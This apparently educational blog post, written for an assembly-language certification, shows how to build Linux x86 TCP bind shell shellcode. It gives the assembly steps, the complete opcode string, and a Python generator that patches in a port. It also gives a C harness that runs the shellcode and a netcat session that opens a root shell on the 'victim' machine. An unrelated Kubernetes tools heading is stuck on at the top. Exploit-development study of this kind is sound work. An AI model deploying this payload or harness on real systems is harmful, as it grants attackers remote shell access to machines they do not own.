Kubernetes Security Tools
This post lists out popular K8s security tools. The list will be updated regularly.
Create a Shell_Bind_TCP shellcode
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017
Shell_Bind_TCP
shellcode
https://github.com/timip/SLAE/blob/master/shell_bind_tcp_nonull.nasm
Here is a generic steps to create a TCP Bind Shell.
/bin/sh
to new client socket using execve
For syscall socket programming, we need to use registers to specify syscall no. as well as parameters.
According to linux header file unistd_32.h
, syscall number for socketcall
is 102 (0x66). Therefore, EAX
should always equal 0x66.
#define __NR_socketcall 102
EBX
should contain the call ID for the specific socket function you want to execute, which is defined in /usr/include/linux/net.h
ECX
contains a pointer to the arguments.
int socketcall(int call, unsigned long *args) → socket(int domain, int type, int protocol)
socket call | socket | |
---|---|---|
Parameters |
|
|
Code |
inc ebx ; EBX=call=SYS_SOCKET=1 mov ecx, esp ; ECX=*args=$esp |
xor ebx, ebx push ebx ; protocol=IP=0 push 0x1 ; type=SOCK_STREAM=1 push 0x2 ; domain=AF_INET=2 |
push byte 0x66 ; EAX=socketcall=0x66
pop eax
cdq
int 0x80
xchg esi, eax ; move sockfd to esi
int socketcall(int call, unsigned long *args) → int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) → *addr={sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}
socketcall | bind | *addr | |
---|---|---|---|
Parameters |
|
|
|
Code |
mov ecx, esp ; ECX=*args=$esp |
push 0x10 ; addrlen=16 |
push edx ; addr.sin_addr=INADDR_ANY=0 |
push byte 0x66pop eax ; EAX=socketcall=0x66int 0x80
int socketcall(int call, unsigned long *args) → int listen(int sockfd, int backlog);
socketcall | listen | |
---|---|---|
Parameters |
|
|
Code |
inc ebx |
push ebx ; backlog=2 |
push byte 0x66pop eax ; EAX=socketcall=0x66int 0x80
int socketcall(int call, unsigned long *args) → int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
socketcall | accept | |
---|---|---|
Parameters |
|
|
Code |
inc ebx ; EBX=call=SYS_ACCEPT=5 |
push edx ; *addrlen=NULL |
push byte 0x66pop eax ; EAX=socketcall=0x66 int 0x80
int dup2(int oldfd, int newfd)
dup2 | |
---|---|
Parameters |
|
Code |
mov ebx, eax ; EBX=EAX=sockfd |
int execve(const char *filename, char *const argv[], char *const envp[]);
execve | |
---|---|
Parameters |
|
Code |
push 0x0 ; Null terminiator |
Get all shellcode on binary file from objdump
> nasm -f elf32 -o shell_bind_tcp_nonull.o shell_bind_tcp_nonull.nasm
> ld -o shell_bind_tcp_nonull shell_bind_tcp_nonull.o
> objdump -d ./shell_bind_tcp_nonull |grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
"\x31\xdb\x53\x6a\x01\x6a\x02\x43\x89\xe1\x6a\x66\x58\x99\xcd\x80\x96\x52\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x53\x56\x43\x43\x89\xe1\x6a\x66\x58\xcd\x80\x52\x52\x56\x43\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#!/usr/bin/python
import socket, sys, struct
if len(sys.argv) is not 2:
print "Usage: {0} PORT".format(sys.argv[0])
exit()
port = int(sys.argv[1])
if port < 1 or port > 65535:
print "[!] Wrong port no."
exit()
if port <= 1000:
print "[+] Please run it as root since port no. less than or equal to 1000"
port = format(port, '04x')
shellcode = "\\x31\\xdb\\x53\\x6a\\x01\\x6a\\x02\\x43\\x89\\xe1\\x6a\\x66\\x58\\x99\\xcd\\x80\\x96\\x52\\x66\\x68\\x" + str(port[0:2]) + "\\x" + str(port[2:4]) + "\\x43\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x53\\x56\\x43\\x43\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x89\\xc3\\x31\\xc9\\xb0\\x3f\\xcd\\x80\\x41\\x80\\xf9\\x03\\x75\\xf6\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
print "[+] Shellcode length = " + str(len(shellcode)/4)
print "unsigned char code[] = \"" + shellcode + "\";"
#include<stdio.h>
#include<string.h>
unsigned char code[] = "\x31\xdb\x53\x6a\x01\x6a\x02\x43\x89\xe1\x6a\x66\x58\x99\xcd\x80\x96\x52\x66\x68\x04\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x53\x56\x43\x43\x89\xe1\x6a\x66\x58\xcd\x80\x52\x52\x56\x43\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
void main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
# Victim Side
> gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c -g
> ./shellcode
Shellcode Length: 97
# Attack Side
> nc -nv 192.168.111.214 1234
(UNKNOWN) [192.168.111.214] 1234 (?) open
hostname
SLAE
id
uid=0(root) gid=0(root) groups=0(root)